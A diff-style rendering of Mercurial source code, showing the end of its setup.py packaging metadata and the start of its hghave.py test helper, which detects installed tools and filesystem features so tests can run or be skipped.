1803 url='https://mercurial-scm.org/',
1803 url='https://mercurial-scm.org/',
1804 download_url='https://mercurial-scm.org/release/',
1804 download_url='https://mercurial-scm.org/release/',
1805 description=(
1805 description=(
1806 'Fast scalable distributed SCM (revision control, version '
1806 'Fast scalable distributed SCM (revision control, version '
1807 'control) system'
1807 'control) system'
1808 ),
1808 ),
1809 long_description=(
1809 long_description=(
1810 'Mercurial is a distributed SCM tool written in Python.'
1810 'Mercurial is a distributed SCM tool written in Python.'
1811 ' It is used by a number of large projects that require'
1811 ' It is used by a number of large projects that require'
1812 ' fast, reliable distributed revision control, such as '
1812 ' fast, reliable distributed revision control, such as '
1813 'Mozilla.'
1813 'Mozilla.'
1814 ),
1814 ),
1815 license='GNU GPLv2 or any later version',
1815 license='GNU GPLv2 or any later version',
1816 classifiers=[
1816 classifiers=[
1817 'Development Status :: 6 - Mature',
1817 'Development Status :: 6 - Mature',
1818 'Environment :: Console',
1818 'Environment :: Console',
1819 'Intended Audience :: Developers',
1819 'Intended Audience :: Developers',
1820 'Intended Audience :: System Administrators',
1820 'Intended Audience :: System Administrators',
1821 'License :: OSI Approved :: GNU General Public License (GPL)',
1821 'License :: OSI Approved :: GNU General Public License (GPL)',
1822 'Natural Language :: Danish',
1822 'Natural Language :: Danish',
1823 'Natural Language :: English',
1823 'Natural Language :: English',
1824 'Natural Language :: German',
1824 'Natural Language :: German',
1825 'Natural Language :: Italian',
1825 'Natural Language :: Italian',
1826 'Natural Language :: Japanese',
1826 'Natural Language :: Japanese',
1827 'Natural Language :: Portuguese (Brazilian)',
1827 'Natural Language :: Portuguese (Brazilian)',
1828 'Operating System :: Microsoft :: Windows',
1828 'Operating System :: Microsoft :: Windows',
1829 'Operating System :: OS Independent',
1829 'Operating System :: OS Independent',
1830 'Operating System :: POSIX',
1830 'Operating System :: POSIX',
1831 'Programming Language :: C',
1831 'Programming Language :: C',
1832 'Programming Language :: Python',
1832 'Programming Language :: Python',
1833 'Topic :: Software Development :: Version Control',
1833 'Topic :: Software Development :: Version Control',
1834 ],
1834 ],
1835 scripts=scripts,
1835 scripts=scripts,
1836 packages=packages,
1836 packages=packages,
1837 ext_modules=extmodules,
1837 ext_modules=extmodules,
1838 data_files=datafiles,
1838 data_files=datafiles,
1839 package_data=packagedata,
1839 package_data=packagedata,
1840 cmdclass=cmdclass,
1840 cmdclass=cmdclass,
1841 distclass=hgdist,
1841 distclass=hgdist,
1842 options={
1842 options={
1843 'py2exe': {
1843 'py2exe': {
1844 'bundle_files': 3,
1844 'bundle_files': 3,
1845 'dll_excludes': py2exedllexcludes,
1845 'dll_excludes': py2exedllexcludes,
1846 'includes': py2exe_includes,
1846 'includes': py2exe_includes,
1847 'excludes': py2exeexcludes,
1847 'excludes': py2exeexcludes,
1848 'packages': py2exepackages,
1848 'packages': py2exepackages,
1849 },
1849 },
1850 'bdist_mpkg': {
1850 'bdist_mpkg': {
1851 'zipdist': False,
1851 'zipdist': False,
1852 'license': 'COPYING',
1852 'license': 'COPYING',
1853 'readme': 'contrib/packaging/macosx/Readme.html',
1853 'readme': 'contrib/packaging/macosx/Readme.html',
1854 'welcome': 'contrib/packaging/macosx/Welcome.html',
1854 'welcome': 'contrib/packaging/macosx/Welcome.html',
1855 },
1855 },
1856 },
1856 },
1857 **extra
1857 **extra
1858 )
1858 )
@@ -1,1172 +1,1172 b''
1 from __future__ import absolute_import, print_function
1 from __future__ import absolute_import, print_function
2
2
3 import distutils.version
3 import distutils.version
4 import os
4 import os
5 import re
5 import re
6 import socket
6 import socket
7 import stat
7 import stat
8 import subprocess
8 import subprocess
9 import sys
9 import sys
10 import tempfile
10 import tempfile
11
11
12 tempprefix = 'hg-hghave-'
12 tempprefix = 'hg-hghave-'
13
13
14 checks = {
14 checks = {
15 "true": (lambda: True, "yak shaving"),
15 "true": (lambda: True, "yak shaving"),
16 "false": (lambda: False, "nail clipper"),
16 "false": (lambda: False, "nail clipper"),
17 "known-bad-output": (lambda: True, "use for currently known bad output"),
17 "known-bad-output": (lambda: True, "use for currently known bad output"),
18 "missing-correct-output": (lambda: False, "use for missing good output"),
18 "missing-correct-output": (lambda: False, "use for missing good output"),
19 }
19 }
20
20
21 try:
21 try:
22 import msvcrt
22 import msvcrt
23
23
24 msvcrt.setmode(sys.stdout.fileno(), os.O_BINARY)
24 msvcrt.setmode(sys.stdout.fileno(), os.O_BINARY)
25 msvcrt.setmode(sys.stderr.fileno(), os.O_BINARY)
25 msvcrt.setmode(sys.stderr.fileno(), os.O_BINARY)
26 except ImportError:
26 except ImportError:
27 pass
27 pass
28
28
29 stdout = getattr(sys.stdout, 'buffer', sys.stdout)
29 stdout = getattr(sys.stdout, 'buffer', sys.stdout)
30 stderr = getattr(sys.stderr, 'buffer', sys.stderr)
30 stderr = getattr(sys.stderr, 'buffer', sys.stderr)
31
31
32 is_not_python2 = sys.version_info[0] >= 3
32 is_not_python2 = sys.version_info[0] >= 3
33 if is_not_python2:
33 if is_not_python2:
34
34
35 def _sys2bytes(p):
35 def _sys2bytes(p):
36 if p is None:
36 if p is None:
37 return p
37 return p
38 return p.encode('utf-8')
38 return p.encode('utf-8')
39
39
40 def _bytes2sys(p):
40 def _bytes2sys(p):
41 if p is None:
41 if p is None:
42 return p
42 return p
43 return p.decode('utf-8')
43 return p.decode('utf-8')
44
44
45
45
46 else:
46 else:
47
47
48 def _sys2bytes(p):
48 def _sys2bytes(p):
49 return p
49 return p
50
50
51 _bytes2sys = _sys2bytes
51 _bytes2sys = _sys2bytes
52
52
53
53
54 def check(name, desc):
54 def check(name, desc):
55 """Registers a check function for a feature."""
55 """Registers a check function for a feature."""
56
56
57 def decorator(func):
57 def decorator(func):
58 checks[name] = (func, desc)
58 checks[name] = (func, desc)
59 return func
59 return func
60
60
61 return decorator
61 return decorator
62
62
63
63
64 def checkvers(name, desc, vers):
64 def checkvers(name, desc, vers):
65 """Registers a check function for each of a series of versions.
65 """Registers a check function for each of a series of versions.
66
66
67 vers can be a list or an iterator.
67 vers can be a list or an iterator.
68
68
69 Produces a series of feature checks that have the form <name><vers> without
69 Produces a series of feature checks that have the form <name><vers> without
70 any punctuation (even if there's punctuation in 'vers'; i.e. this produces
70 any punctuation (even if there's punctuation in 'vers'; i.e. this produces
71 'py38', not 'py3.8' or 'py-38')."""
71 'py38', not 'py3.8' or 'py-38')."""
72
72
73 def decorator(func):
73 def decorator(func):
74 def funcv(v):
74 def funcv(v):
75 def f():
75 def f():
76 return func(v)
76 return func(v)
77
77
78 return f
78 return f
79
79
80 for v in vers:
80 for v in vers:
81 v = str(v)
81 v = str(v)
82 f = funcv(v)
82 f = funcv(v)
83 checks['%s%s' % (name, v.replace('.', ''))] = (f, desc % v)
83 checks['%s%s' % (name, v.replace('.', ''))] = (f, desc % v)
84 return func
84 return func
85
85
86 return decorator
86 return decorator
87
87
88
88
89 def checkfeatures(features):
89 def checkfeatures(features):
90 result = {
90 result = {
91 'error': [],
91 'error': [],
92 'missing': [],
92 'missing': [],
93 'skipped': [],
93 'skipped': [],
94 }
94 }
95
95
96 for feature in features:
96 for feature in features:
97 negate = feature.startswith('no-')
97 negate = feature.startswith('no-')
98 if negate:
98 if negate:
99 feature = feature[3:]
99 feature = feature[3:]
100
100
101 if feature not in checks:
101 if feature not in checks:
102 result['missing'].append(feature)
102 result['missing'].append(feature)
103 continue
103 continue
104
104
105 check, desc = checks[feature]
105 check, desc = checks[feature]
106 try:
106 try:
107 available = check()
107 available = check()
108 except Exception as e:
108 except Exception as e:
109 result['error'].append('hghave check %s failed: %r' % (feature, e))
109 result['error'].append('hghave check %s failed: %r' % (feature, e))
110 continue
110 continue
111
111
112 if not negate and not available:
112 if not negate and not available:
113 result['skipped'].append('missing feature: %s' % desc)
113 result['skipped'].append('missing feature: %s' % desc)
114 elif negate and available:
114 elif negate and available:
115 result['skipped'].append('system supports %s' % desc)
115 result['skipped'].append('system supports %s' % desc)
116
116
117 return result
117 return result
118
118
119
119
120 def require(features):
120 def require(features):
121 """Require that features are available, exiting if not."""
121 """Require that features are available, exiting if not."""
122 result = checkfeatures(features)
122 result = checkfeatures(features)
123
123
124 for missing in result['missing']:
124 for missing in result['missing']:
125 stderr.write(
125 stderr.write(
126 ('skipped: unknown feature: %s\n' % missing).encode('utf-8')
126 ('skipped: unknown feature: %s\n' % missing).encode('utf-8')
127 )
127 )
128 for msg in result['skipped']:
128 for msg in result['skipped']:
129 stderr.write(('skipped: %s\n' % msg).encode('utf-8'))
129 stderr.write(('skipped: %s\n' % msg).encode('utf-8'))
130 for msg in result['error']:
130 for msg in result['error']:
131 stderr.write(('%s\n' % msg).encode('utf-8'))
131 stderr.write(('%s\n' % msg).encode('utf-8'))
132
132
133 if result['missing']:
133 if result['missing']:
134 sys.exit(2)
134 sys.exit(2)
135
135
136 if result['skipped'] or result['error']:
136 if result['skipped'] or result['error']:
137 sys.exit(1)
137 sys.exit(1)
138
138
139
139
140 def matchoutput(cmd, regexp, ignorestatus=False):
140 def matchoutput(cmd, regexp, ignorestatus=False):
141 """Return the match object if cmd executes successfully and its output
141 """Return the match object if cmd executes successfully and its output
142 is matched by the supplied regular expression.
142 is matched by the supplied regular expression.
143 """
143 """
144
144
145 # Tests on Windows have to fake USERPROFILE to point to the test area so
145 # Tests on Windows have to fake USERPROFILE to point to the test area so
146 # that `~` is properly expanded on py3.8+. However, some tools like black
146 # that `~` is properly expanded on py3.8+. However, some tools like black
147 # make calls that need the real USERPROFILE in order to run `foo --version`.
147 # make calls that need the real USERPROFILE in order to run `foo --version`.
148 env = os.environ
148 env = os.environ
149 if os.name == 'nt':
149 if os.name == 'nt':
150 env = os.environ.copy()
150 env = os.environ.copy()
151 env['USERPROFILE'] = env['REALUSERPROFILE']
151 env['USERPROFILE'] = env['REALUSERPROFILE']
152
152
153 r = re.compile(regexp)
153 r = re.compile(regexp)
154 p = subprocess.Popen(
154 p = subprocess.Popen(
155 cmd,
155 cmd,
156 shell=True,
156 shell=True,
157 stdout=subprocess.PIPE,
157 stdout=subprocess.PIPE,
158 stderr=subprocess.STDOUT,
158 stderr=subprocess.STDOUT,
159 env=env,
159 env=env,
160 )
160 )
161 s = p.communicate()[0]
161 s = p.communicate()[0]
162 ret = p.returncode
162 ret = p.returncode
163 return (ignorestatus or not ret) and r.search(s)
163 return (ignorestatus or not ret) and r.search(s)
164
164
165
165
166 @check("baz", "GNU Arch baz client")
166 @check("baz", "GNU Arch baz client")
167 def has_baz():
167 def has_baz():
168 return matchoutput('baz --version 2>&1', br'baz Bazaar version')
168 return matchoutput('baz --version 2>&1', br'baz Bazaar version')
169
169
170
170
171 @check("bzr", "Breezy library and executable version >= 3.1")
171 @check("bzr", "Breezy library and executable version >= 3.1")
172 def has_bzr():
172 def has_bzr():
173 if not is_not_python2:
173 if not is_not_python2:
174 return False
174 return False
175 try:
175 try:
176 # Test the Breezy python lib
176 # Test the Breezy python lib
177 import breezy
177 import breezy
178 import breezy.bzr.bzrdir
178 import breezy.bzr.bzrdir
179 import breezy.errors
179 import breezy.errors
180 import breezy.revision
180 import breezy.revision
181 import breezy.revisionspec
181 import breezy.revisionspec
182
182
183 breezy.revisionspec.RevisionSpec
183 breezy.revisionspec.RevisionSpec
184 if breezy.__doc__ is None or breezy.version_info[:2] < (3, 1):
184 if breezy.__doc__ is None or breezy.version_info[:2] < (3, 1):
185 return False
185 return False
186 except (AttributeError, ImportError):
186 except (AttributeError, ImportError):
187 return False
187 return False
188 # Test the executable
188 # Test the executable
189 return matchoutput('brz --version 2>&1', br'Breezy \(brz\) ')
189 return matchoutput('brz --version 2>&1', br'Breezy \(brz\) ')
190
190
191
191
192 @check("chg", "running with chg")
192 @check("chg", "running with chg")
193 def has_chg():
193 def has_chg():
194 return 'CHG_INSTALLED_AS_HG' in os.environ
194 return 'CHG_INSTALLED_AS_HG' in os.environ
195
195
196
196
197 @check("rhg", "running with rhg as 'hg'")
197 @check("rhg", "running with rhg as 'hg'")
198 def has_rhg():
198 def has_rhg():
199 return 'RHG_INSTALLED_AS_HG' in os.environ
199 return 'RHG_INSTALLED_AS_HG' in os.environ
200
200
201
201
202 @check("pyoxidizer", "running with pyoxidizer build as 'hg'")
202 @check("pyoxidizer", "running with pyoxidizer build as 'hg'")
203 def has_rhg():
203 def has_rhg():
204 return 'PYOXIDIZED_INSTALLED_AS_HG' in os.environ
204 return 'PYOXIDIZED_INSTALLED_AS_HG' in os.environ
205
205
206
206
207 @check("cvs", "cvs client/server")
207 @check("cvs", "cvs client/server")
208 def has_cvs():
208 def has_cvs():
209 re = br'Concurrent Versions System.*?server'
209 re = br'Concurrent Versions System.*?server'
210 return matchoutput('cvs --version 2>&1', re) and not has_msys()
210 return matchoutput('cvs --version 2>&1', re) and not has_msys()
211
211
212
212
213 @check("cvs112", "cvs client/server 1.12.* (not cvsnt)")
213 @check("cvs112", "cvs client/server 1.12.* (not cvsnt)")
214 def has_cvs112():
214 def has_cvs112():
215 re = br'Concurrent Versions System \(CVS\) 1.12.*?server'
215 re = br'Concurrent Versions System \(CVS\) 1.12.*?server'
216 return matchoutput('cvs --version 2>&1', re) and not has_msys()
216 return matchoutput('cvs --version 2>&1', re) and not has_msys()
217
217
218
218
219 @check("cvsnt", "cvsnt client/server")
219 @check("cvsnt", "cvsnt client/server")
220 def has_cvsnt():
220 def has_cvsnt():
221 re = br'Concurrent Versions System \(CVSNT\) (\d+).(\d+).*\(client/server\)'
221 re = br'Concurrent Versions System \(CVSNT\) (\d+).(\d+).*\(client/server\)'
222 return matchoutput('cvsnt --version 2>&1', re)
222 return matchoutput('cvsnt --version 2>&1', re)
223
223
224
224
225 @check("darcs", "darcs client")
225 @check("darcs", "darcs client")
226 def has_darcs():
226 def has_darcs():
227 return matchoutput('darcs --version', br'\b2\.([2-9]|\d{2})', True)
227 return matchoutput('darcs --version', br'\b2\.([2-9]|\d{2})', True)
228
228
229
229
230 @check("mtn", "monotone client (>= 1.0)")
230 @check("mtn", "monotone client (>= 1.0)")
231 def has_mtn():
231 def has_mtn():
232 return matchoutput('mtn --version', br'monotone', True) and not matchoutput(
232 return matchoutput('mtn --version', br'monotone', True) and not matchoutput(
233 'mtn --version', br'monotone 0\.', True
233 'mtn --version', br'monotone 0\.', True
234 )
234 )
235
235
236
236
237 @check("eol-in-paths", "end-of-lines in paths")
237 @check("eol-in-paths", "end-of-lines in paths")
238 def has_eol_in_paths():
238 def has_eol_in_paths():
239 try:
239 try:
240 fd, path = tempfile.mkstemp(dir='.', prefix=tempprefix, suffix='\n\r')
240 fd, path = tempfile.mkstemp(dir='.', prefix=tempprefix, suffix='\n\r')
241 os.close(fd)
241 os.close(fd)
242 os.remove(path)
242 os.remove(path)
243 return True
243 return True
244 except (IOError, OSError):
244 except (IOError, OSError):
245 return False
245 return False
246
246
247
247
248 @check("execbit", "executable bit")
248 @check("execbit", "executable bit")
249 def has_executablebit():
249 def has_executablebit():
250 try:
250 try:
251 EXECFLAGS = stat.S_IXUSR | stat.S_IXGRP | stat.S_IXOTH
251 EXECFLAGS = stat.S_IXUSR | stat.S_IXGRP | stat.S_IXOTH
252 fh, fn = tempfile.mkstemp(dir='.', prefix=tempprefix)
252 fh, fn = tempfile.mkstemp(dir='.', prefix=tempprefix)
253 try:
253 try:
254 os.close(fh)
254 os.close(fh)
255 m = os.stat(fn).st_mode & 0o777
255 m = os.stat(fn).st_mode & 0o777
256 new_file_has_exec = m & EXECFLAGS
256 new_file_has_exec = m & EXECFLAGS
257 os.chmod(fn, m ^ EXECFLAGS)
257 os.chmod(fn, m ^ EXECFLAGS)
258 exec_flags_cannot_flip = (os.stat(fn).st_mode & 0o777) == m
258 exec_flags_cannot_flip = (os.stat(fn).st_mode & 0o777) == m
259 finally:
259 finally:
260 os.unlink(fn)
260 os.unlink(fn)
261 except (IOError, OSError):
261 except (IOError, OSError):
262 # we don't care, the user probably won't be able to commit anyway
262 # we don't care, the user probably won't be able to commit anyway
263 return False
263 return False
264 return not (new_file_has_exec or exec_flags_cannot_flip)
264 return not (new_file_has_exec or exec_flags_cannot_flip)
265
265
266
266
267 @check("suidbit", "setuid and setgid bit")
267 @check("suidbit", "setuid and setgid bit")
268 def has_suidbit():
268 def has_suidbit():
269 if (
269 if (
270 getattr(os, "statvfs", None) is None
270 getattr(os, "statvfs", None) is None
271 or getattr(os, "ST_NOSUID", None) is None
271 or getattr(os, "ST_NOSUID", None) is None
272 ):
272 ):
273 return False
273 return False
274 return bool(os.statvfs('.').f_flag & os.ST_NOSUID)
274 return bool(os.statvfs('.').f_flag & os.ST_NOSUID)
275
275
276
276
277 @check("icasefs", "case insensitive file system")
277 @check("icasefs", "case insensitive file system")
278 def has_icasefs():
278 def has_icasefs():
279 # Stolen from mercurial.util
279 # Stolen from mercurial.util
280 fd, path = tempfile.mkstemp(dir='.', prefix=tempprefix)
280 fd, path = tempfile.mkstemp(dir='.', prefix=tempprefix)
281 os.close(fd)
281 os.close(fd)
282 try:
282 try:
283 s1 = os.stat(path)
283 s1 = os.stat(path)
284 d, b = os.path.split(path)
284 d, b = os.path.split(path)
285 p2 = os.path.join(d, b.upper())
285 p2 = os.path.join(d, b.upper())
286 if path == p2:
286 if path == p2:
287 p2 = os.path.join(d, b.lower())
287 p2 = os.path.join(d, b.lower())
288 try:
288 try:
289 s2 = os.stat(p2)
289 s2 = os.stat(p2)
290 return s2 == s1
290 return s2 == s1
291 except OSError:
291 except OSError:
292 return False
292 return False
293 finally:
293 finally:
294 os.remove(path)
294 os.remove(path)
295
295
296
296
297 @check("fifo", "named pipes")
297 @check("fifo", "named pipes")
298 def has_fifo():
298 def has_fifo():
299 if getattr(os, "mkfifo", None) is None:
299 if getattr(os, "mkfifo", None) is None:
300 return False
300 return False
301 name = tempfile.mktemp(dir='.', prefix=tempprefix)
301 name = tempfile.mktemp(dir='.', prefix=tempprefix)
302 try:
302 try:
303 os.mkfifo(name)
303 os.mkfifo(name)
304 os.unlink(name)
304 os.unlink(name)
305 return True
305 return True
306 except OSError:
306 except OSError:
307 return False
307 return False
308
308
309
309
310 @check("killdaemons", 'killdaemons.py support')
310 @check("killdaemons", 'killdaemons.py support')
311 def has_killdaemons():
311 def has_killdaemons():
312 return True
312 return True
313
313
314
314
315 @check("cacheable", "cacheable filesystem")
315 @check("cacheable", "cacheable filesystem")
316 def has_cacheable_fs():
316 def has_cacheable_fs():
317 from mercurial import util
317 from mercurial import util
318
318
319 fd, path = tempfile.mkstemp(dir='.', prefix=tempprefix)
319 fd, path = tempfile.mkstemp(dir='.', prefix=tempprefix)
320 os.close(fd)
320 os.close(fd)
321 try:
321 try:
322 return util.cachestat(path).cacheable()
322 return util.cachestat(path).cacheable()
323 finally:
323 finally:
324 os.remove(path)
324 os.remove(path)
325
325
326
326
327 @check("lsprof", "python lsprof module")
327 @check("lsprof", "python lsprof module")
328 def has_lsprof():
328 def has_lsprof():
329 try:
329 try:
330 import _lsprof
330 import _lsprof
331
331
332 _lsprof.Profiler # silence unused import warning
332 _lsprof.Profiler # silence unused import warning
333 return True
333 return True
334 except ImportError:
334 except ImportError:
335 return False
335 return False
336
336
337
337
338 def _gethgversion():
338 def _gethgversion():
339 m = matchoutput('hg --version --quiet 2>&1', br'(\d+)\.(\d+)')
339 m = matchoutput('hg --version --quiet 2>&1', br'(\d+)\.(\d+)')
340 if not m:
340 if not m:
341 return (0, 0)
341 return (0, 0)
342 return (int(m.group(1)), int(m.group(2)))
342 return (int(m.group(1)), int(m.group(2)))
343
343
344
344
345 _hgversion = None
345 _hgversion = None
346
346
347
347
348 def gethgversion():
348 def gethgversion():
349 global _hgversion
349 global _hgversion
350 if _hgversion is None:
350 if _hgversion is None:
351 _hgversion = _gethgversion()
351 _hgversion = _gethgversion()
352 return _hgversion
352 return _hgversion
353
353
354
354
355 @checkvers(
355 @checkvers(
356 "hg", "Mercurial >= %s", list([(1.0 * x) / 10 for x in range(9, 99)])
356 "hg", "Mercurial >= %s", list([(1.0 * x) / 10 for x in range(9, 99)])
357 )
357 )
358 def has_hg_range(v):
358 def has_hg_range(v):
359 major, minor = v.split('.')[0:2]
359 major, minor = v.split('.')[0:2]
360 return gethgversion() >= (int(major), int(minor))
360 return gethgversion() >= (int(major), int(minor))
361
361
362
362
363 @check("rust", "Using the Rust extensions")
363 @check("rust", "Using the Rust extensions")
364 def has_rust():
364 def has_rust():
365 """Check is the mercurial currently running is using some rust code"""
365 """Check is the mercurial currently running is using some rust code"""
366 cmd = 'hg debuginstall --quiet 2>&1'
366 cmd = 'hg debuginstall --quiet 2>&1'
367 match = br'checking module policy \(([^)]+)\)'
367 match = br'checking module policy \(([^)]+)\)'
368 policy = matchoutput(cmd, match)
368 policy = matchoutput(cmd, match)
369 if not policy:
369 if not policy:
370 return False
370 return False
371 return b'rust' in policy.group(1)
371 return b'rust' in policy.group(1)
372
372
373
373
374 @check("hg08", "Mercurial >= 0.8")
374 @check("hg08", "Mercurial >= 0.8")
375 def has_hg08():
375 def has_hg08():
376 if checks["hg09"][0]():
376 if checks["hg09"][0]():
377 return True
377 return True
378 return matchoutput('hg help annotate 2>&1', '--date')
378 return matchoutput('hg help annotate 2>&1', '--date')
379
379
380
380
381 @check("hg07", "Mercurial >= 0.7")
381 @check("hg07", "Mercurial >= 0.7")
382 def has_hg07():
382 def has_hg07():
383 if checks["hg08"][0]():
383 if checks["hg08"][0]():
384 return True
384 return True
385 return matchoutput('hg --version --quiet 2>&1', 'Mercurial Distributed SCM')
385 return matchoutput('hg --version --quiet 2>&1', 'Mercurial Distributed SCM')
386
386
387
387
388 @check("hg06", "Mercurial >= 0.6")
388 @check("hg06", "Mercurial >= 0.6")
389 def has_hg06():
389 def has_hg06():
390 if checks["hg07"][0]():
390 if checks["hg07"][0]():
391 return True
391 return True
392 return matchoutput('hg --version --quiet 2>&1', 'Mercurial version')
392 return matchoutput('hg --version --quiet 2>&1', 'Mercurial version')
393
393
394
394
395 @check("gettext", "GNU Gettext (msgfmt)")
395 @check("gettext", "GNU Gettext (msgfmt)")
396 def has_gettext():
396 def has_gettext():
397 return matchoutput('msgfmt --version', br'GNU gettext-tools')
397 return matchoutput('msgfmt --version', br'GNU gettext-tools')
398
398
399
399
400 @check("git", "git command line client")
400 @check("git", "git command line client")
401 def has_git():
401 def has_git():
402 return matchoutput('git --version 2>&1', br'^git version')
402 return matchoutput('git --version 2>&1', br'^git version')
403
403
404
404
405 def getgitversion():
405 def getgitversion():
406 m = matchoutput('git --version 2>&1', br'git version (\d+)\.(\d+)')
406 m = matchoutput('git --version 2>&1', br'git version (\d+)\.(\d+)')
407 if not m:
407 if not m:
408 return (0, 0)
408 return (0, 0)
409 return (int(m.group(1)), int(m.group(2)))
409 return (int(m.group(1)), int(m.group(2)))
410
410
411
411
412 @check("pygit2", "pygit2 Python library")
412 @check("pygit2", "pygit2 Python library")
413 def has_git():
413 def has_git():
414 try:
414 try:
415 import pygit2
415 import pygit2
416
416
417 pygit2.Oid # silence unused import
417 pygit2.Oid # silence unused import
418 return True
418 return True
419 except ImportError:
419 except ImportError:
420 return False
420 return False
421
421
422
422
423 # https://github.com/git-lfs/lfs-test-server
423 # https://github.com/git-lfs/lfs-test-server
424 @check("lfs-test-server", "git-lfs test server")
424 @check("lfs-test-server", "git-lfs test server")
425 def has_lfsserver():
425 def has_lfsserver():
426 exe = 'lfs-test-server'
426 exe = 'lfs-test-server'
427 if has_windows():
427 if has_windows():
428 exe = 'lfs-test-server.exe'
428 exe = 'lfs-test-server.exe'
429 return any(
429 return any(
430 os.access(os.path.join(path, exe), os.X_OK)
430 os.access(os.path.join(path, exe), os.X_OK)
431 for path in os.environ["PATH"].split(os.pathsep)
431 for path in os.environ["PATH"].split(os.pathsep)
432 )
432 )
433
433
434
434
435 @checkvers("git", "git client (with ext::sh support) version >= %s", (1.9,))
435 @checkvers("git", "git client (with ext::sh support) version >= %s", (1.9,))
436 def has_git_range(v):
436 def has_git_range(v):
437 major, minor = v.split('.')[0:2]
437 major, minor = v.split('.')[0:2]
438 return getgitversion() >= (int(major), int(minor))
438 return getgitversion() >= (int(major), int(minor))
439
439
440
440
441 @check("docutils", "Docutils text processing library")
441 @check("docutils", "Docutils text processing library")
442 def has_docutils():
442 def has_docutils():
443 try:
443 try:
444 import docutils.core
444 import docutils.core
445
445
446 docutils.core.publish_cmdline # silence unused import
446 docutils.core.publish_cmdline # silence unused import
447 return True
447 return True
448 except ImportError:
448 except ImportError:
449 return False
449 return False
450
450
451
451
452 def getsvnversion():
452 def getsvnversion():
453 m = matchoutput('svn --version --quiet 2>&1', br'^(\d+)\.(\d+)')
453 m = matchoutput('svn --version --quiet 2>&1', br'^(\d+)\.(\d+)')
454 if not m:
454 if not m:
455 return (0, 0)
455 return (0, 0)
456 return (int(m.group(1)), int(m.group(2)))
456 return (int(m.group(1)), int(m.group(2)))
457
457
458
458
459 @checkvers("svn", "subversion client and admin tools >= %s", (1.3, 1.5))
459 @checkvers("svn", "subversion client and admin tools >= %s", (1.3, 1.5))
460 def has_svn_range(v):
460 def has_svn_range(v):
461 major, minor = v.split('.')[0:2]
461 major, minor = v.split('.')[0:2]
462 return getsvnversion() >= (int(major), int(minor))
462 return getsvnversion() >= (int(major), int(minor))
463
463
464
464
465 @check("svn", "subversion client and admin tools")
465 @check("svn", "subversion client and admin tools")
466 def has_svn():
466 def has_svn():
467 return matchoutput('svn --version 2>&1', br'^svn, version') and matchoutput(
467 return matchoutput('svn --version 2>&1', br'^svn, version') and matchoutput(
468 'svnadmin --version 2>&1', br'^svnadmin, version'
468 'svnadmin --version 2>&1', br'^svnadmin, version'
469 )
469 )
470
470
471
471
472 @check("svn-bindings", "subversion python bindings")
472 @check("svn-bindings", "subversion python bindings")
473 def has_svn_bindings():
473 def has_svn_bindings():
474 try:
474 try:
475 import svn.core
475 import svn.core
476
476
477 version = svn.core.SVN_VER_MAJOR, svn.core.SVN_VER_MINOR
477 version = svn.core.SVN_VER_MAJOR, svn.core.SVN_VER_MINOR
478 if version < (1, 4):
478 if version < (1, 4):
479 return False
479 return False
480 return True
480 return True
481 except ImportError:
481 except ImportError:
482 return False
482 return False
483
483
484
484
485 @check("p4", "Perforce server and client")
485 @check("p4", "Perforce server and client")
486 def has_p4():
486 def has_p4():
487 return matchoutput('p4 -V', br'Rev\. P4/') and matchoutput(
487 return matchoutput('p4 -V', br'Rev\. P4/') and matchoutput(
488 'p4d -V', br'Rev\. P4D/'
488 'p4d -V', br'Rev\. P4D/'
489 )
489 )
490
490
491
491
492 @check("symlink", "symbolic links")
492 @check("symlink", "symbolic links")
493 def has_symlink():
493 def has_symlink():
494 # mercurial.windows.checklink() is a hard 'no' at the moment
494 # mercurial.windows.checklink() is a hard 'no' at the moment
495 if os.name == 'nt' or getattr(os, "symlink", None) is None:
495 if os.name == 'nt' or getattr(os, "symlink", None) is None:
496 return False
496 return False
497 name = tempfile.mktemp(dir='.', prefix=tempprefix)
497 name = tempfile.mktemp(dir='.', prefix=tempprefix)
498 try:
498 try:
499 os.symlink(".", name)
499 os.symlink(".", name)
500 os.unlink(name)
500 os.unlink(name)
501 return True
501 return True
502 except (OSError, AttributeError):
502 except (OSError, AttributeError):
503 return False
503 return False
504
504
505
505
506 @check("hardlink", "hardlinks")
506 @check("hardlink", "hardlinks")
507 def has_hardlink():
507 def has_hardlink():
508 from mercurial import util
508 from mercurial import util
509
509
510 fh, fn = tempfile.mkstemp(dir='.', prefix=tempprefix)
510 fh, fn = tempfile.mkstemp(dir='.', prefix=tempprefix)
511 os.close(fh)
511 os.close(fh)
512 name = tempfile.mktemp(dir='.', prefix=tempprefix)
512 name = tempfile.mktemp(dir='.', prefix=tempprefix)
513 try:
513 try:
514 util.oslink(_sys2bytes(fn), _sys2bytes(name))
514 util.oslink(_sys2bytes(fn), _sys2bytes(name))
515 os.unlink(name)
515 os.unlink(name)
516 return True
516 return True
517 except OSError:
517 except OSError:
518 return False
518 return False
519 finally:
519 finally:
520 os.unlink(fn)
520 os.unlink(fn)
521
521
522
522
523 @check("hardlink-whitelisted", "hardlinks on whitelisted filesystems")
523 @check("hardlink-whitelisted", "hardlinks on whitelisted filesystems")
524 def has_hardlink_whitelisted():
524 def has_hardlink_whitelisted():
525 from mercurial import util
525 from mercurial import util
526
526
527 try:
527 try:
528 fstype = util.getfstype(b'.')
528 fstype = util.getfstype(b'.')
529 except OSError:
529 except OSError:
530 return False
530 return False
531 return fstype in util._hardlinkfswhitelist
531 return fstype in util._hardlinkfswhitelist
532
532
533
533
534 @check("rmcwd", "can remove current working directory")
534 @check("rmcwd", "can remove current working directory")
535 def has_rmcwd():
535 def has_rmcwd():
536 ocwd = os.getcwd()
536 ocwd = os.getcwd()
537 temp = tempfile.mkdtemp(dir='.', prefix=tempprefix)
537 temp = tempfile.mkdtemp(dir='.', prefix=tempprefix)
538 try:
538 try:
539 os.chdir(temp)
539 os.chdir(temp)
540 # On Linux, 'rmdir .' isn't allowed, but the other names are okay.
540 # On Linux, 'rmdir .' isn't allowed, but the other names are okay.
541 # On Solaris and Windows, the cwd can't be removed by any names.
541 # On Solaris and Windows, the cwd can't be removed by any names.
542 os.rmdir(os.getcwd())
542 os.rmdir(os.getcwd())
543 return True
543 return True
544 except OSError:
544 except OSError:
545 return False
545 return False
546 finally:
546 finally:
547 os.chdir(ocwd)
547 os.chdir(ocwd)
548 # clean up temp dir on platforms where cwd can't be removed
548 # clean up temp dir on platforms where cwd can't be removed
549 try:
549 try:
550 os.rmdir(temp)
550 os.rmdir(temp)
551 except OSError:
551 except OSError:
552 pass
552 pass
553
553
554
554
555 @check("tla", "GNU Arch tla client")
555 @check("tla", "GNU Arch tla client")
556 def has_tla():
556 def has_tla():
